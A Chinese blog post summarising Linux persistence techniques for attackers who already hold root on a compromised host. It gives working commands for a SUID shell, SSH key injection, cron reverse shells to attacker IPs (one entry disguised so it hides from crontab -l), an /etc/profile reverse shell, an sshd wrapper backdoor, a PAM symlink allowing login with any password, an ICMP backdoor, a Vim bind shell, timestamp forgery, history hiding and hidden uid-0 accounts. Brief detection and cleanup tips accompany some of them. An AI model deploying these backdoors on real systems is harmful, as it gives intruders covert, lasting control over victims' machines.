Linux-权限维持小结

suid后门(需要root权限):

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
suid shell 是可以以shell所有者权限运行的shell
suid shell 是可以以shell所有者权限运行的shell
suid shell 是可以以shell所有者权限运行的shell
重要的事情说三遍!!!
必要条件(敲黑板,重点!):

1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限

利用过程:

  1. 首先通过root权限复制创建一个shell,然后设置成suid shell。
cp /bin/bash /tmp/.shell
chmod u+s /tmp/.shell

实现效果:通过普通用户登录,借助root权限执行命令

痕迹清理:

rm -rf /tmp/.shell

防御手段:查找具有suid权限的文件并删除它
下面的命令可以发现所有的系统中运行的SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 

当然,上面的命令也可为攻击者所用,找到系统中运行的SUID可执行文件。
具体利用方法请参考:
对SUID可提权Root Shell的探究
suid后门(suid shell)

ssh利用公钥免密登录:

原理:攻击者将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器

攻击机:任意有网卡的主机,能正常上网
目标机:有公网IP即可

攻击者想配置免密登录连接受害者
攻击机上执行:

ssh-keygen -b 4096 -t rsa

一路回车回车默认就行,在/root/.ssh/目录下生成了两个文件:
id_rsa、id_rsa.pub

然后将id_rsa.pub全部copy文件内容
复制到目标主机该文件中(如果原来存在内容就另起一行粘贴):

/root/.ssh/authorized_keys

这里注意要在文件内容的前面和后面都加上 \n\n\n 换行符才行,否则会导致利用失败

攻击者利用公钥登录:

ssh -i /root/.ssh/id_rsa root@119.x.x.x

计划任务:


在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务
Cron 表达式生成网站:https://qqe2.com/cron

计划任务使用的是/bin/sh,直接通过bash反弹shell是行不通的(通过bash反弹仅适用于centos)

echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.107.133\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -

echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.107.133\";\$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -

# 适用于centos,本地测试失败
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.107.133/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -

隐蔽用法:
下面命令执行后会显示"no crontab for root"。其实就达到了一个隐藏的效果,这时候管理员如果执行 crontab -l 就会看到显示"no crontab for root"

(crontab -l;printf "*/1 * * * * /bin/bash /home/b4yi/kali-6666.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷

本地测试结果:未能成功执行,没有反弹到msf上
这个坑留到以后再说

将反弹shell的命令写入/etc/profile文件:


将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell

动态加载库:


linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。

利用手段:

export LD_PRELOAD=./xx.so
#这时候./xx.so中如果对函数进行了重定义,调用了该函数的程序就会执行重定义的代码

检测手段:

echo $LD_PRELOAD
#默认无输出,如果有输出就需要去看下文件是否为异常文件了

清除手段:

unset LD_PRELOAD
#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库

这里使用以下项目:
https://github.com/Screetsec/Vegile

1、将MSF木马-shell和Vegile上传到目标服务器上
2、chmod 777 Vegile shell
3、./Vegile --u shell

清理起来十分麻烦,因为直接删除进程是删不掉的,因此存在父进程与多个子进程。
清除思路:挂起父进程,清除所有子进程再删除父进程

wrapper后门(需要root权限):

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
整个脚本在第二行执行了个if,如果端口符合要求,则直接建立连接,否则正常执行sshd。
LF代表开启的端口号是19526

#服务端执行:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
#客户端执行:
socat STDIO TCP4:target_ip:22,souceport=19526
#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

优点:
1、隐蔽性较强,无需要编译,使用于大部分环境中.
2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
缺点:
1、需要重启sshd进程.

痕迹清理:

#删除自定义的sshd
rm -rf /usr/sbin/sshd
#将同版本的sshd拷贝到对应目录下
mv /usr/bin/sshd /usr/sbin/sshd

检测手段:

检查网络链接情况及文件
cat /usr/sbin/sshd

清除手段:

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

ssh软连接(需要root权限):

ssh软连接后门原理:

1、Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
2、将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)
3、如果被控主机不允许root登陆可用其他已存在用户登陆

4、通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
5、任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,,除了su中之外还有chsh、chfn同样可以。
步骤:

目标机器执行(任选其一):
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345

Attacker执行:
ssh b4yi@目标ip -p 12345

检测手段:

1、查看可疑端口
netstat -antlp

netstat -antp | gerp -E "su|chfn|chsh"
#找到进程号xxx
ps aux | grep xxx
#找到软连接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su

2、查看可执行文件
ls -al /tmp/su

防御手段:

1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload

说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的,然后启动,并指定监听12345端口,登录的时候密码随意即可。
具体原理参考:Linux的一个后门引发对PAM的探究
具体配置参考:Linux安全策略配置之PAM身份验证模块使用方法总结

协议后门:

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。

ICMP(需要root权限):

主要原理就是利用ICMP中可控的data字段进行数据传输。
具体原理请参考:小白必看!ICMP隐蔽隧道从入门到精通

ICMP后门项目地址:https://github.com/andreafabrizi/prism

使用此操作模式,后门静悄悄地在后台等待特定的 ICMP 数据包包含要连接回的主机/端口和防止第三方访问的私钥。

复现流程:
1、首先,运行netcat在攻击者的机器上等待从后门进来的连接:

nc -l -p 6666

2、编译prism.c,生成后门,即可执行文件prism

gcc -DDETACH -m32 -Wall -s -o prism prism.c

3、将生成的后门prism上传至目标服务器,并运行
4、客户端输入命令:

./sendPacket.py 受害者IP 密钥 客户端IP 客户端端口
比如:./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666

查看发送的ICMP数据包:

效果如图:

检测手段:

对应ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接

VIM后门:

Vim是从 vi 发展出来的一个文本编辑器。代码补全,编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和Emacs并列成为类Unix系统用户最喜欢的文本编辑器。
使用条件:

1、安装了VIM编辑器
2、python扩展(绝大版本默认已安装)

首先使用一个python开启本地监听端口8888的脚本

from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
    server=socket(AF_INET,SOCK_STREAM)
    server.bind(('0.0.0.0',8888))
    server.listen(5)
    print 'waiting for connect'
    talk, addr = server.accept()
    print 'connect from',addr
    proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
           stdout=talk, stderr=talk, shell=True)

找到提供vim插件的python的扩展包目录

vim --version #查看使用的python版本

找到python的扩展位置

pip show requests

进入目录:

cd /usr/lib/python2.7/site-packages

将以上准备的py文件复制到此目录下
运行,并删除文件

$(nohup vim -E -c "pyfile shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

清除痕迹

ps aux|grep vim
#获取pid
kill pid

检测手段:
由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程

netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python

本地环境复现失败了,就不放图了。。。先记着

隐藏文件:

Linux下创建一个隐藏文件:touch .test.txt
touch命令可以创建一个文件,文件名前面加一个点就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

隐藏文件时间戳:
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法:

touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php

利用chattr修改文件属性:

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件

隐藏历史操作命令

(Space)set +o history  #只针对你的工作关闭历史记录,临时禁用历史功能
(Space)set -o history  #恢复历史记录

注意set前面有个空格

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
    
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
    
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

# 创建root权限用户,账号backdoor/123456
useradd -u 0 -o -g root -G root backdoor
echo 123456:password|chpasswd

#通过直接对etc/passwd文件进行写入
perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的结果
# 123456加密后的结果为AASwmzPNx.3sg
echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd  #直接写入etc/passwd中

清理痕迹:

userdel -f backdoor

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息,需要root权限
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限,需要root权限查看
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

参考如下:
ssh 软连接后门使用
渗透测试-权限维持
Linux、Windows权限维持常用后门学习总结
Linux常见的持久化后门汇总
[总结]Linux权限维持

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容

  • ssh软连接后门 SSH服务默认使用PAM进行身份验证 PAM是Linux系统中的一个独立API,它提供了各种验证...
    Instu阅读 1,756评论 0 6
  • 转载自 https://evilanne.github.io/2017/08/26/Linux%E5%90%8E%...
    烤土豆啦阅读 4,351评论 0 10
  • Unix Bash 远控后门 简介利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持...
    linx255阅读 561评论 0 1
  • 前言 我们知道在Linux里文件和目录有r、w、x这三个读、写、执行的权限。但有时还会在权限里看到s和t,例如:s...
    agile4j阅读 1,367评论 0 0
  • 原文链接 之前两篇文章利用SSH代理访问内网资源和使用SSH代理在本地开发环境调试各种回调两篇文章,介绍了ssh的...
    冯宇Ops阅读 12,753评论 1 3